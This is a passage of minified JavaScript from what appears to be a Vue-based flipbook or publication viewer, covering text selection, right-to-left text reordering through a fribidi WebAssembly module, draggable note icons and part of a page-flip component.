i=this.partSelectedLines[e],s=i.split("-"),o=s[0],r=s[1],a=Object.assign({},t);return-1!==this.leftSelectedLines.indexOf(i)?(a.left=this.finalTree[o].lines[r].left,a.bottom>this.finalTree[o].lines[r].top&&a.bottom<this.finalTree[o].lines[r].bottom&&"bottom"===a.cursorVSide?"right"===a.cursorHSide?a.right=t.right:a.right=t.left:"right"===a.cursorHSide&&(a.right=this.inverseLineSelection?t.right:t.left),a.width=a.right-a.left):-1!==this.rightSelectedLines.indexOf(i)&&(a.right=this.finalTree[o].lines[r].right,a.top>this.finalTree[o].lines[r].top&&a.top<this.finalTree[o].lines[r].bottom&&"top"===a.cursorVSide?"left"===a.cursorHSide?a.left=t.left:a.left=t.right:"left"===a.cursorHSide&&(a.left=this.inverseLineSelection?t.left:t.right),a.width=a.right-a.left),a},m.prototype._processLineRtl=function(t,e){const i=this.partSelectedLines[e],s=i.split("-"),o=s[0],r=s[1],a=Object.assign({},t);return-1!==this.leftSelectedLines.indexOf(i)?(a.left=this.finalTree[o].lines[r].left,a.top>this.finalTree[o].lines[r].top&&a.top<this.finalTree[o].lines[r].bottom&&"bottom"===a.cursorVSide?a.right="left"===a.cursorHSide?t.right:t.left:"left"===a.cursorHSide&&(a.right=this.inverseLineSelection?t.right:t.left),a.width=a.right-a.left):-1!==this.rightSelectedLines.indexOf(i)&&(a.right=this.finalTree[o].lines[r].right,a.bottom>this.finalTree[o].lines[r].top&&a.bottom<this.finalTree[o].lines[r].bottom&&"top"===a.cursorVSide?a.left="right"===a.cursorHSide?t.left:t.right:"right"===a.cursorHSide&&(a.left=this.inverseLineSelection?t.left:t.right),a.width=a.right-a.left),a},m.prototype._getSelectedSymbols=function(t){const e=[];for(let i=0,s=this.finalTree.length;i<s;i++)if(-1===this.fullSelectedBlocks.indexOf(i))if(-1===this.partSelectedBlocks.indexOf(i));else for(let o=0,r=this.finalTree[i].lines.length;o<r;o++)if(-1===this.fullSelectedLines.indexOf(i+"-"+o)){if(-1!==this.partSelectedLines.indexOf(i+"-"+o)){let s=[];for(let t=0,e=this.finalTree[i].lines[o].symbols.length;t<e;t++)-1!==this.fullSelectedSymbols.indexOf(i+"-"+o+"-"+t)&&s.push(this.finalTree[i].lines[o].symbols[t]);s=this._filterByAllowedRect(s,t),s.length>0&&(s.push(this._getLineBreak(s)),e.push(...s))}}else{const s=this._filterByAllowedRect(this.finalTree[i].lines[o].symbols,t);s.length>0&&e.push(...s,this._getLineBreak(s))}else e.push(...this._getSymbolsFromBlock(i,t));return this._removeRedundantLineBreaks(e)},m.prototype._intersectRects=function(t,e){if(!e)return t;const i=S(t.left,e.left,e.left+e.width),s=S(t.left+t.width,e.left,e.left+e.width),o=S(t.top,e.top,e.top+e.height),r=S(t.top+t.height,e.top,e.top+e.height),a={left:i,width:Math.max(s-i,0),right:s,top:o,height:Math.max(r-o,0),bottom:r};return Object.assign({},t,a)},m.prototype._filterByAllowedRect=function(t,e){if(!e)return t;const i=e.left+e.width,s=e.top+e.height;return t.filter((t=>{const o=t.left>=e.left&&t.right<=i||t.left>e.left&&t.left<=i||t.left<e.left&&t.right>=e.left,r=t.top>=e.top&&t.bottom<=s||t.top<e.top&&t.bottom>=e.top||t.top>e.top&&t.top<=s;return o&&r}))},m.prototype._removeRedundantLineBreaks=function(t){return 0===t.length||("\n"===t[0].word&&t.splice(0,1),"\n"===t[t.length-1].word&&t.pop()),t},m.prototype._modifyCurrentSelectRect=function(t,e){const i=this,s=this.partSelectedBlocks[t],o=this.crossInfos[this.partSelectedBlocks[t]],r=Object.assign({},e),a=t=>{r.height=this.finalTree[s].top+this.finalTree[s].height-r.top+2,r.top=e.top,t||(r.top+=e.height,i.inverseLineSelection=!0)},n=t=>{r.top=this.finalTree[s].top,r.height=e.height+e.top-this.finalTree[s].top,t||(r.height-=e.height,i.inverseLineSelection=!0)};if(0===t)if(o.startPoint){a("bottom"===r.cursorVSide)}else{a("bottom"!==r.cursorVSide)}else if(1===t)if(o.activePoint){n("bottom"===r.cursorVSide)}else{n("bottom"!==r.cursorVSide)}return r},m.prototype._simplifySelectedBlocks=function(){this.partSelectedBlocks.length>2&&(this.partSelectedBlocks=[Math.min(...this.partSelectedBlocks),Math.max(...this.partSelectedBlocks)]);const t=[...this.partSelectedBlocks,...this.fullSelectedBlocks];if(t.length>0){let e=Math.min(...t);const i=Math.max(...t),s=[];for(;e<=i;)s.push(e),e++;this.fullSelectedBlocks=s.filter((t=>-1===this.partSelectedBlocks.indexOf(t)))}},m.prototype._simplifySelectedLines=function(){const t=[...this.partSelectedLines,...this.fullSelectedLines],e=new Map,i=[];for(let s=0,o=t.length;s<o;s++){const i=t[s].split("-");e.get(i[0])||e.set(i[0],[]);const o=e.get(i[0]);o.push(i[1]),e.set(i[0],o)}for(const[s,o]of e){let t=Math.min(...o),e=Math.max(...o);for(-1!==this.partSelectedLines.indexOf(s+"-"+t)&&t++,-1!==this.partSelectedLines.indexOf(s+"-"+e)&&e--;t<=e;)i.push(s+"-"+t),t++}this.fullSelectedLines=i},m.prototype._getSymbolsFromBlock=function(t,e){const i=[],s=this.finalTree[t].lines||[];for(let o=0,r=s.length;o<r;o++){const t=this._filterByAllowedRect(s[o].symbols,e);t.length>0&&i.push(...t,this._getLineBreak(t))}return i},m.prototype._getLineBreak=function(t,e){const i=.01,s=e?t[0]:t[t.length-1],o={left:e?s.left-i:s.left+s.width,top:s.top,height:s.height,angle:s.angle,width:i,word:"\n",lineBreak:!0};return o.right=o.left+o.width,o},m.prototype._getCrossInfos=function(t){const e=[];for(let i=0,s=this.finalTree.length;i<s;i++){const s=this.finalTree[i];e[i]=s.onlyForSearch?null:b(t,s,this.isRTL)}return e};const S=function(t,e,i){return t<=e?e:t>=i?i:t};function v(t,e){return t.right=t.left+t.width,t.left<e.left&&t.right>e.right||(t.left<e.left+.7*e.width&&t.right>e.right||t.left<e.left&&t.right>e.right-.7*e.width)}function w(t,e,i){const s=e.indexOf(i);t?-1===s&&e.push(i):-1!==s&&e.splice(s,1)}var y=i(320);let k,x,$,z;try{i.e(18).then(i.bind(i,4015)).then((t=>{k=t,k.memory.grow(80),$=new TextEncoder("utf8"),z=new TextDecoder("utf8"),x=!0})).catch((t=>{console.log("fribidi wasn't initialized")}))}catch(ao){console.log("fribidi wasn't initialized")}const P="‏";function C(){}function T(t,e){const i=t.map((t=>t.rtl)).filter((t=>!(0,y.o8)(t)));return 0===i.length?e:i[0]}C.prototype.getSelectedText=function(t,e){const i=this._getLines(t);let s="";const o=x?this._processLineFribidi:this._processLineSimple;for(let r=0,a=i.length;r<a;r++){const t=i[r].some((t=>t.rtl))||e,n=i[r].map((t=>t.word)),h=t?o.call(this,i[r],e):n.join("");s+=this._processBrackets(h)+(r<a-1?"\n":"")}return s},C.prototype._processLineFribidi=function(t,e){const i=t.map((t=>t.word)),s=t.some((t=>t.rtl))?P:"",o=s+i.join("")+s,r=$.encode(o),a=new Uint8Array(k.memory.buffer),n=k.calloc(r.byteLength,1);a.set(r,n);const h=k.calloc(4*o.length,4),l=k.fribidi_utf8_to_unicode(n,r.byteLength,h),c=k.calloc(1,4),d=(e?1:0)|parseInt("10","16")|parseInt("100","16");a.set([d],c);const p=k.calloc(l,4),g=k.calloc(l,4),u=k.calloc(l,1);k.fribidi_get_bidi_types(h,l,p),k.fribidi_get_bracket_types(h,l,p,g);k.fribidi_get_par_embedding_levels_ex(p,g,l,c,u),a.slice(u,u+l);const f=3|parseInt("40000","16");k.fribidi_reorder_line(f,p,l,0,c,u,h,null),k.fribidi_shape(f,u,l,null,h);const m=k.calloc(2*r.byteLength,1);k.fribidi_unicode_to_utf8(h,l,m);const b=a.slice(m,m+r.byteLength),S=z.decode(b).replace(/\u200f/g,"");return k.free(h),k.free(n),k.free(m),k.free(c),k.free(p),k.free(g),k.free(u),S},C.prototype._processLineSimple=function(t){const e=this._getDirectionFragments(t);let i="";for(let s=0;s<e.length;s++){i=(T(e[s],!1)?e[s].reverse().map((t=>t.word)).join(""):e[s].map((t=>t.word)).join("")).trim()+(i.length>0?" ":"")+i}return i},C.prototype._processBrackets=function(t){const e=[{char:"(",open:!0,reversed:")"},{char:")",open:!1,reversed:"("},{char:"[",open:!0,reversed:"]"},{char:"]",open:!1,reversed:"["},{char:"{",open:!0,reversed:"}"},{char:"}",open:!1,reversed:"{"}];let i=t;for(let s=0;s<e.length;s++){let t=i.indexOf(e[s].char);for(;t>=0;)i=this._processBracket(i,t,e[s].open,e[s].reversed),t=i.indexOf(e[s].char,t+1)}return i},C.prototype._processBracket=function(t,e,i,s){const o=(t,e)=>e?/[\s,:;\\.\\!\\?]/.test(t):/[\s,:;]/.test(t);let r,a,n=t;return i?(r=e===n.length-1||o(n[e+1],!0),a=r&&e>0&&!o(n[e-1],!1),a&&(n=(e>0?n.substr(0,e):"")+s+(e<n.length-1?n.substr(e+1):""))):(r=0===e||o(n[e-1],!0),a=r&&e<n.length-1&&!o(n[e+1],!1),a&&(n=(e>0?n.substr(0,e):"")+s+(e<n.length-1?n.substr(e+1):""))),n},C.prototype._getLines=function(t){let e;return t.reduce(((t,i)=>{if("\n"===i.word)return e=!0,t;if(0===t.length)t.push([i]);else{const s=t[t.length-1];e?t.push([i]):s.push(i)}return e=!1,t}),[])},C.prototype._getDirectionFragments=function(t){return t.reduce(((t,e)=>{if(0===t.length)return t.push([e]),t;const i=t[t.length-1],s=T(i);return" "===e.word||(0,y.o8)(e.rtl)||(0,y.o8)(s)||e.rtl===s?i.push(e):t.push([e]),t}),[])};const M={props:["containerSize","pageId","isWide","pageSide","isLoaded","isCurrent","contStyle"],data:function(){return{finalTree:[],pageRect:null,selectedSymbols:[],showEffect:!1,isCrossWide:!1}},created:function(){this.updateSelectedTextDebounced=(0,l.Ds)((function(){const t=new C,e=this.$store.state.book.rightToLeft,i=t.getSelectedText(this.selectedSymbols,e);this.$store.dispatch("text/setSelectedText",i)}),100),this.drawSelectionDebounced=(0,l.Ds)(this.drawSelection,100),this.isCurrent&&this.getAndParseXML()},beforeDestroy:function(){this.updateSelectedTextDebounced.destroy()},methods:{initContext:function(){const t=this.$el.getElementsByTagName("canvas")[0];t&&(this.context=t.getContext("2d"))},resetContext:function(){this.context&&(this.context=null)},getAndParseXML:function(){if(!this.$store.getters["search/isSelectTextInfoLoaded"](this.pageId))return;const t="slide-book"===this.$store.state.workspace.bookComponent&&this.$store.state.pager.slideMode,e=this.$store.getters["search/getSelectTextInfo"](this.pageId,"right"===this.pageSide,t);this.finalTree=Object.freeze(e.finalTree),this.isCrossWide=e.isCrossWide,this.isRtlSelection=e.isRtlSelection,0!==this.userRect.width&&this.parseRect(this.$store.state.text.selectionRect)},parseRect:function(t){if(this.isWide&&!this.isCrossWide){const e=this.$store.getters["pages/pageProp"](this.pageId,"width")/2;if("left"===this.pageSide&&t.left>=e||"right"===this.pageSide&&t.left<e)return void(this.selectedSymbols=[])}if(!this.isCurrent)return void(this.selectedSymbols=[]);const e=new m(this.finalTree,this.isRtlSelection);this.selectedSymbols=e.selectSymbols(t,this.allowedRect),this.updateSelectedTextDebounced()},getPageRect:function(){this.$store.state.workspace.containerSize.width>0?this.pageRect=this.$el.getBoundingClientRect():this.pageRect=null},getBorderCollisions(t){return this.allowedRect?{left:t.left<this.allowedRect.left,right:t.right>this.allowedRect.left+this.allowedRect.width,top:t.top<this.allowedRect.top,bottom:t.bottom>this.allowedRect.bottom}:{}},getCornerSymbol(t){return{isRtlSelection:this.isRtlSelection,top:Math.round(t.top*this.containerSize.scaleRatio.h),left:Math.round(t.left*this.containerSize.scaleRatio.w),width:Math.round(t.width*this.containerSize.scaleRatio.w),height:Math.round(t.height*this.containerSize.scaleRatio.h),collisions:this.getBorderCollisions(t)}},drawSelection(){if(0!==this.selectedSymbols.length){this.$store.dispatch("workspace/setActiveInteractiveElement","selected-text"),this.context||this.initContext(),this.context.clearRect(0,0,this.containerSize.width,this.containerSize.height),this.context.fillStyle="#027bff";for(let t=0,e=this.selectedSymbols.length;t<e;t++){const e=this.selectedSymbols[t];this.context.fillRect(e.left*this.containerSize.scaleRatio.w-(this.isWide&&"right"===this.pageSide?this.pageRect.width/2:0),e.top*this.containerSize.scaleRatio.h,e.width*this.containerSize.scaleRatio.w+1,e.height*this.containerSize.scaleRatio.h)}}}},watch:{userRect:function(t,e){t.top===e.top&&t.left===e.left&&t.width===e.width&&t.height===e.height||this.parseRect(t)},selectedSymbols:function(t){null!==t?(t.length>0?this.$nextTick((()=>{this.drawSelection()})):this.resetContext(),this.cornerTimeout=setTimeout((()=>{if(this.selectedSymbols.length<1)return;let t,e;if(1===this.selectedSymbols.length)t=e=this.selectedSymbols[0];else if(this.isRtlSelection){const i=this.selectedSymbols.findIndex((t=>t.lineBreak));t=-1===i?this.selectedSymbols[0]:this.selectedSymbols[i-1];let s=this.selectedSymbols.length-1;for(;s>=0&&!this.selectedSymbols[s].lineBreak;)s-=1;e=-1===s?this.selectedSymbols[this.selectedSymbols.length-1]:s===this.selectedSymbols.length-1?this.selectedSymbols[s-1]:this.selectedSymbols[s+1]}else t=this.selectedSymbols[0],e=this.selectedSymbols[this.selectedSymbols.length-1],10===e.word.charCodeAt(0)&&(e=this.selectedSymbols[this.selectedSymbols.length-2]);this.$store.dispatch("text/setCornerSymbols",{first:this.getCornerSymbol(t),last:this.getCornerSymbol(e)})}),50),0===this.selectedSymbols.length&&this.$root.$emit("selectText:hidePanel")):this.$root.$emit("selectText:hidePanel")},isCurrent:function(t){t&&(0===this.finalTree.length&&this.getAndParseXML(),this.$nextTick((()=>{this.getPageRect()})))},selectTextInfoLoaded:function(t){t.pageId===this.pageId&&this.getAndParseXML()},animationInProgress:function(t){t||this.$store.getters["pager/isCurrentPage"]({pageId:this.pageId,pageSide:this.pageSide})&&this.getPageRect()},activeInteractiveElement(t){"selected-text"!==t&&"text-context-menu"!==t&&this.$store.dispatch("text/reset")}},computed:{canvasClass:function(){return{"select-text-canvas":!0,"show-effect":this.showEffect,"hide-before-effect":!this.showEffect&&this.effectOn}},effectOn:function(){return this.$store.state.text.effect},userRect:function(){const t={top:0,left:0,width:0,height:0};return this.$store.state.text.selectionRect&&(this.pageId===this.$store.state.text.pageID&&this.isWide&&this.pageSide!==this.$store.state.text.pageSide||this.pageId===this.$store.state.text.pageID&&this.pageSide===this.$store.state.text.pageSide&&this.isCurrent)?this.$store.state.text.selectionRect:t},allowedRect:function(){if(!this.isWide||!this.isCrossWide||!this.singleMode)return;const t=this.$store.getters["pages/pageProp"](this.pageId,"width")/2;return{left:"right"===this.pageSide?t:0,width:t,top:0,height:this.$store.getters["pages/pageProp"](this.pageId,"height")}},singleMode:function(){return this.$store.state.pager.singleMode},showCanvas(){return this.selectedSymbols.length>0},selectTextInfoLoaded(){return this.$store.state.search.selectTextInfoLoaded},animationInProgress:function(){return this.$store.getters["workspace/animationInProgress"]},activeInteractiveElement(){return this.$store.state.workspace.activeInteractiveElement}}};var I=i(2155);const L={name:"select-text",mixins:[M],data:function(){return{isActive:!1,isDragging:!0}},mounted:function(){this.$nextTick((()=>{this.getPageRect()})),this.$parent.$parent.$on("highlight",this.highlight),this.$root.$on("publication:mouseleave",this.panEnd),this.$root.$on("zoomMove",this.zoomMove),this.effectOn&&this.$el.addEventListener("mousemove",this.checkMousePosition)},beforeDestroy(){this.resetContext(),this.$parent.$parent.$off("highlight",this.highlight),this.$root.$off("zoomMove",this.zoomMove),this.$root.$off("publication:mouseleave",this.panEnd),this.$el.removeEventListener("mousemove",this.checkMousePosition)},methods:{highlight:function(){this.effectOn&&(this.panEnd(),this.showEffect=!0,setTimeout((()=>{this.showEffect=!1,this.$store.dispatch("text/setEffect",!1)}),3e3))},reset:function(t){this.effectOn||(this.$el.removeEventListener("mousemove",this.checkMousePosition),this.$root.$emit("selectText:hidePanel"),t&&"panstart"===t.type&&(this.isActive=!0),this.$store.dispatch("text/reset"))},pan:function(t){if(!(this.pageRect&&this.isLoaded&&this.isCurrent&&(!this.isZoomed||!this.isDragging))||!this.isActive||this.selectAll||this.effectOn||this.animationInProgress)return;const e={top:t.deltaY>0?t.center.y-t.deltaY-this.pageRect.top:t.center.y-this.pageRect.top,left:t.deltaX>0?t.center.x-t.deltaX-this.pageRect.left:t.center.x-this.pageRect.left,width:Math.abs(t.deltaX),height:Math.abs(t.deltaY),offsetX:this.containerSize.offsetX,offsetY:this.containerSize.offsetY,cursorHSide:t.deltaX>0?"right":"left",cursorVSide:t.deltaY>0?"bottom":"top"};if(e.top=e.top/this.containerSize.scaleRatio.h,e.left/=this.containerSize.scaleRatio.w,e.width/=this.containerSize.scaleRatio.w,e.height/=this.containerSize.scaleRatio.h,this.isWide&&!this.isCrossWide){if("right"===e.cursorHSide&&"left"===this.pageSide&&e.left+e.width>this.containerSize.width/this.containerSize.scaleRatio.w)return;if("left"===e.cursorHSide&&"right"===this.pageSide&&e.left<this.containerSize.width/this.containerSize.scaleRatio.w)return}this.$store.dispatch("text/setSelectionAttributes",{pageID:this.pageId,pageSide:this.pageSide,selectionRect:e})},selectAllPageContent(){const t=this.$store.getters["pages/pageProp"](this.pageId,"wide"),e="right"===this.pageSide,i="slide-book"===this.$store.state.workspace.bookComponent&&"slide"===this.$store.state.pager.mode,{isCrossWide:s}=this.$store.getters["search/getSelectTextInfo"](this.pageId,e,i),o=this.$store.getters["pages/pageProp"](this.pageId,"width")/(t&&!s?2:1),r={height:this.$store.getters["pages/pageProp"](this.pageId,"height"),width:o,offsetX:this.containerSize.offsetX,offsetY:this.containerSize.offsetY,cursorHSide:"left",cursorVSide:"bottom"},a=s?{top:0,left:0}:e&&t?{left:o,top:0}:{top:0,left:0},n=(0,I.Z)(a,r);this.$store.dispatch("text/setSelectionAttributes",{pageID:this.pageId,pageSide:this.pageSide,selectionRect:n,selectAll:this.selectAll})},finalizePreliminarySelection:function(){const t={offsetX:this.containerSize.offsetX,offsetY:this.containerSize.offsetY},e=(0,I.Z)({},t,this.$store.state.text.selectionRect);e.width*=1,e.height*=1,e.top*=1,e.left*=1,this.$store.dispatch("text/setSelectionAttributes",{pageID:this.pageId,pageSide:this.pageSide,selectionRect:e})},panEnd:function(t){t&&t.srcEvent&&0===t.srcEvent.button&&this.mouseUp(),this.isActive=!1},mouseUp(){setTimeout((()=>{this.selectedSymbols.length>0&&(this.$root.$emit("selectText",{action:"select",pageId:this.pageId,text:this.$store.state.text.selectedText}),this.$root.$emit("selectText:showPanel"),this.$el.addEventListener("mousemove",this.checkMousePosition))}),100)},zoomMove(t){"drag"===t.direction&&(this.isDragging=t.active)},checkMousePosition(t){this.$parent.$parent.isPointInSelection(t)?this.$root.$emit("selectText:showPanel"):this.$root.$emit("selectText:hidePanel",{forceHide:!1})}},watch:{isActive:function(t){this.$store.dispatch("text/setInProgressSelection",t)},pageSize:function(){this.$root.$emit("selectText:hidePanel"),this.$nextTick((()=>{this.getPageRect()}))},sidebar:function(){this.$root.$emit("selectText:hidePanel"),this.$nextTick((()=>{this.getPageRect()}))},wsContainerSize:function(){this.$root.$emit("selectText:hidePanel"),this.$nextTick((()=>{this.getPageRect()}))},scrollPosition:function(){this.$nextTick((()=>{this.getPageRect()}))},isLoaded:function(t){this.getPageRect()},animationInProgress:function(){this.$store.dispatch("text/reset"),this.$root.$emit("selectText:hidePanel")},pageResize:function(){this.$nextTick((()=>{this.getPageRect()}))},selectAll:function(t){t&&this.selectAllPageContent()},preliminarySelection:function(t){this.validContainerSize&&t&&this.finalizePreliminarySelection()},containerSize:function(){this.validContainerSize&&(this.preliminarySelection?this.finalizePreliminarySelection():this.drawSelectionDebounced())}},computed:{inspectorMode(){return this.$store.state.workspace.inspectorMode},selectAll:function(){return this.$store.state.text.selectAll&&this.pageId===this.$store.state.text.pageID&&this.pageSide===this.$store.state.text.pageSide},preliminarySelection:function(){return this.$store.state.text.preliminarySelection&&this.pageId===this.$store.state.text.pageID&&this.pageSide===this.$store.state.text.pageSide},validContainerSize:function(){return this.containerSize?.width>0&&this.containerSize?.height>0},textBlockSizes:function(){return this.finalTree.map((t=>({width:Math.ceil(t.width*this.containerSize.scaleRatio.w),height:Math.ceil(t.height*this.containerSize.scaleRatio.h),left:Math.floor(t.left*this.containerSize.scaleRatio.w),top:Math.floor(t.top*this.containerSize.scaleRatio.h)})))},pageSize:function(){return this.$store.state.pages.size},sidebar:function(){return this.$store.state.sidebar.opened},wsContainerSize:function(){return this.$store.state.workspace.containerSize},scrollPosition:function(){return this.$store.getters["text/holderScroll"]},isZoomed:function(){return this.$store.state.pages.size.zoomFactor>1},animationInProgress:function(){return this.$store.getters["workspace/animationInProgress"]},pageResize:function(){return this.$store.getters["pages/pageProp"](this.pageId,"pageResize")}}};var R=i(1900);const E=(0,R.Z)(L,u,f,!1,null,"22b6e05d",null).exports;var F=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("v-touch",{staticClass:"selecttext",style:t.contStyle,on:{tap:t.reset}},[this.showCanvas?i("canvas",{class:t.canvasClass,style:{position:"absolute",right:"right"===t.pageSide&&t.isWide?0:"none"},attrs:{width:t.containerSize.width,height:t.containerSize.height}}):t._e()])},O=[];const _={name:"select-text-mobile",mixins:[M],mounted:function(){this.$nextTick((()=>{this.getPageRect()})),this.$parent.$parent.$on("highlight",this.highlight)},beforeDestroy(){this.resetContext(),this.$parent.$parent.$off("highlight",this.highlight)},methods:{highlight:function(){this.effectOn&&(this.showEffect=!0,setTimeout((()=>{this.showEffect=!1,this.$store.dispatch("text/setEffect",!1)}),3e3))},reset(){this.$store.dispatch("text/reset")}},watch:{containerSize:function(){this.getAndParseXML()},animationInProgress:function(){this.$store.dispatch("text/reset")}},computed:{animationInProgress:function(){return this.$store.getters["workspace/animationInProgress"]}}};const D=(0,R.Z)(_,F,O,!1,null,"6d6ab027",null).exports;var W=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("v-touch",{staticClass:"publication-note",style:t.noteStyle,attrs:{"data-note-id":t.data.id},on:{tap:t.onNoteClick,mousedown:function(t){t.stopPropagation()}}},[i("div",{ref:"icon",class:t.iconClass},[i("svgicon",{attrs:{focusable:"false",name:"note-content"}})],1)])},B=[],A=(i(2150),i(2567));const H=Number(getComputedStyle(document.documentElement).getPropertyValue("--z-index-publication-note-base")),N={name:"Note",props:{data:{type:Object,default:function(){return{}}},pageSize:{type:Object,default:function(){return{}}},pageSide:{type:String,default:""},isWide:Boolean,isOutsideHardcover:Boolean},data:function(){return{state:"mini",offsetX:0,offsetY:0,deltaX:0,deltaY:0,minDeltaX:0,minDeltaY:0,maxDeltaX:0,maxDeltaY:0,onMove:!1,position:"absolute",leftOffset:16,rightOffset:16,topOffset:28,bottomOffset:4}},computed:{isOpened:function(){return this.$store.state.notes.opened===this.data.id},isFirstPage:function(){return this.$store.getters["pages/isFirstPage"](this.data.page)},isLastPage:function(){return this.$store.getters["pages/isLastPage"](this.data.page)},scale:function(){return{w:this.pageSize.width/this.$store.state.book.bookSize.width/("both"===this.pageSide?2:1),h:this.pageSize.height/this.$store.state.book.bookSize.height}},noteStyle:function(){let t=0,e=0,i=0;if(this.isWide&&"right"===this.pageSide&&(t=-this.pageSize.width),this.onMove){if("right"===this.pageSide){const t=this.slideMode&&(this.isFirstPage&&!this.rtl||this.isLastPage&&this.rtl);this.isOutsideHardcover||t||(e=this.pageSize.width)}if("left"===this.pageSide){this.slideMode&&(this.isLastPage&&!this.rtl||this.isFirstPage&&this.rtl)||(i=this.pageSize.width)}this.slideMode&&(this.pagerSlideMode&&"both"!==this.pageSide||this.pagerSingleMode)&&(e=0,i=this.pageSize.width),this.pagerSingleMode&&(this.rtl&&"right"===this.pageSide?t-=this.pageSize.width:this.rtl||"left"!==this.pageSide||(t+=this.pageSize.width))}let s=this.data.pX*this.scale.w+this.deltaX+e+t;s=Math.max(this.leftOffset,Math.min(this.pageSize.width+e+i-this.rightOffset,s));let o=this.data.pY*this.scale.h+this.deltaY;return o=Math.max(this.topOffset,Math.min(this.pageSize.height-this.bottomOffset,o)),{"z-index":this.data.id+H,position:this.position,top:o+"px",left:s+"px"}},iconClass:function(){const t=["note-icon",this.data.color,this.state];return this.isOpened&&t.push("opened"),t},rtl:function(){return this.$store.state.book.rightToLeft},slideMode:function(){return"slide-book"===this.$store.state.workspace.bookComponent},pagerSlideMode:function(){return this.$store.state.pager.slideMode},pagerSingleMode:function(){return this.$store.state.pager.singleMode},currentBookHolder:function(){return this.slideMode?document.querySelector(".slide-wrapper.current .spread-wrapper"):document.getElementById("book-holder")},isFrozenOrNotReady(){return this.$store.state.workspace.freezed||"ready"!==this.$store.state.workspace.status||this.$store.state.workspace.isResizing||this.$store.state.pager.freezed}},mounted:function(){this.$refs.icon.addEventListener("mousedown",this.iconMouseDown,!0),this.parentEl=this.$el.parentElement},beforeDestroy:function(){this.$refs.icon.removeEventListener("mousedown",this.iconMouseDown,!0)},methods:{onNoteClick:function(t){this.isFrozenOrNotReady||(this.isOpened?this.$store.dispatch("workspace/setActiveInteractiveElement",null):this.$store.dispatch("notes/setOpenedId",{id:this.data.id,target:"icon"}))},iconMouseDown:function(t){0===t.button&&(t.preventDefault(),t.stopPropagation(),this.offsetX=t.pageX,this.offsetY=t.pageY,this.isOpened||this.$store.dispatch("notes/setOpenedId",{id:null}),this.$store.dispatch("notes/setMoving",!0),document.addEventListener("mousemove",this.iconMouseMove),document.addEventListener("mouseup",this.iconMouseUp),this.$root.$on("publication:mouseleave",this.iconMouseUp))},iconMouseMove:function(t){if(t.stopPropagation(),!this.onMove){if(this.moveElementToSpreadNotes(),this.slideMode&&!this.pagerSingleMode)this.minDeltaX=this.leftOffset-this.data.pX*this.scale.w,this.maxDeltaX=this.pageSize.width-this.data.pX*this.scale.w-this.rightOffset;else if("left"===this.pageSide){this.minDeltaX=this.leftOffset-this.data.pX*this.scale.w;const t=!this.isWide&&(this.isLastPage&&!this.rtl||this.isFirstPage&&this.rtl)?1:2;this.maxDeltaX=this.pageSize.width*t-this.data.pX*this.scale.w-this.rightOffset}else{const t=!this.isWide&&(this.isFirstPage&&!this.rtl||this.isLastPage&&this.rtl)?0:this.pageSize.width;this.minDeltaX=(this.isWide?this.pageSize.width:0)+this.leftOffset-t-this.data.pX*this.scale.w,this.maxDeltaX=this.pageSize.width*(this.isWide?2:1)-this.data.pX*this.scale.w-this.rightOffset}!this.pagerSingleMode||this.isFirstPage||this.isLastPage&&this.$store.getters["pages/pagesCount"]%2==0||("left"===this.pageSide?this.maxDeltaX-=this.pageSize.width:"right"===this.pageSide&&(this.minDeltaX+=this.pageSize.width)),this.minDeltaY=this.topOffset-this.data.pY*this.scale.h,this.maxDeltaY=(this.pageSize.height/this.scale.h-this.data.pY)*this.scale.h-this.bottomOffset,this.isOutsideHardcover||(this.position="fixed"),this.onMove=!0,this.state="move"}this.deltaX=Math.max(this.minDeltaX,Math.min(t.pageX-this.offsetX,this.maxDeltaX)),this.deltaY=Math.max(this.minDeltaY,Math.min(t.pageY-this.offsetY,this.maxDeltaY))},iconMouseUp:function(){if(document.removeEventListener("mousemove",this.iconMouseMove),document.removeEventListener("mouseup",this.iconMouseUp),this.$root.$off("publication:mouseleave",this.iconMouseUp),this.$store.dispatch("notes/setMoving",!1),this.moveElementToPageContainer(),this.onMove){this.onMove=!1,this.position="absolute";let t=this.data.page,e=this.deltaX/this.scale.w+this.data.pX;this.isWide||("left"===this.pageSide?e>this.pageSize.width/this.scale.w&&(e-=this.pageSize.width/this.scale.w,this.rtl?t--:t++):e<0&&(e+=this.pageSize.width/this.scale.w,this.rtl?t++:t--),e<this.leftOffset/this.scale.w&&(e=this.leftOffset/this.scale.w),e>this.pageSize.width/this.scale.w-this.rightOffset/this.scale.w&&(e=this.pageSize.width/this.scale.w-this.rightOffset/this.scale.w)),this.$store.dispatch("notes/moveNote",{id:this.data.id,page:t.toString(),pX:Math.round(100*e)/100,pY:Math.round(100*(this.deltaY/this.scale.h+this.data.pY))/100}),this.state="mini",this.deltaX=0,this.deltaY=0}},moveElementToSpreadNotes:function(){this.slideMode||this.isOutsideHardcover||(this.spreadNotesEl||(this.spreadNotesEl=this.createSpreadNotesElement()),this.spreadNotesEl.appendChild(this.$el))},moveElementToPageContainer:function(){this.slideMode||this.isOutsideHardcover||this.parentEl.appendChild(this.$el)},createSpreadNotesElement:function(){let t=document.getElementById("spread-notes");if(!t){const e=document.getElementById("book");t=A.Z.createElement("div",{id:"spread-notes"},e)}return t}}};const Z=(0,R.Z)(N,W,B,!1,null,"4f0d47b2",null).exports;var V=i(924),U=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{class:t.classes},[i("div",{staticClass:"flip-me-backface",style:t.backfaceStyle},[t.isTranslucentReverseSide?t._l(t.backfaceBackgrounds,(function(e,s){return i("img",{key:s,staticClass:"flip-me-image",style:t.backfaceImgStyle,attrs:{crossOrigin:t.crossOrigin,src:e}})})):t._e(),t._v(" "),i("div",{staticClass:"flip-me-gradient2",style:t.backGradientStyle})],2),t._v(" "),i("div",{staticClass:"flip-me-mask",style:t.maskStyle},[i("div",{staticClass:"flip-me-gradient",style:t.nextGradientStyle}),t._v(" "),i("div",{staticClass:"flip-me-shift-page",style:t.shiftPageStyle},[i("div",{staticClass:"flip-me-next-page",style:t.nextPageStyle},t._l(t.nextBackgrounds,(function(e,s){return i("img",{key:s,staticClass:"flip-me-image",style:t.nextImgStyle,attrs:{crossOrigin:t.crossOrigin,src:e}})})),0)])])])},G=[],X=i(2029),j=i.n(X);const Y=function(){const t=window.getComputedStyle(document.documentElement,""),e=(Array.prototype.slice.call(t).join("").match(/-(moz|webkit|ms)-/)||""===t.OLink&&["","o"])[1];return{dom:"WebKit|Moz|MS|O".match(new 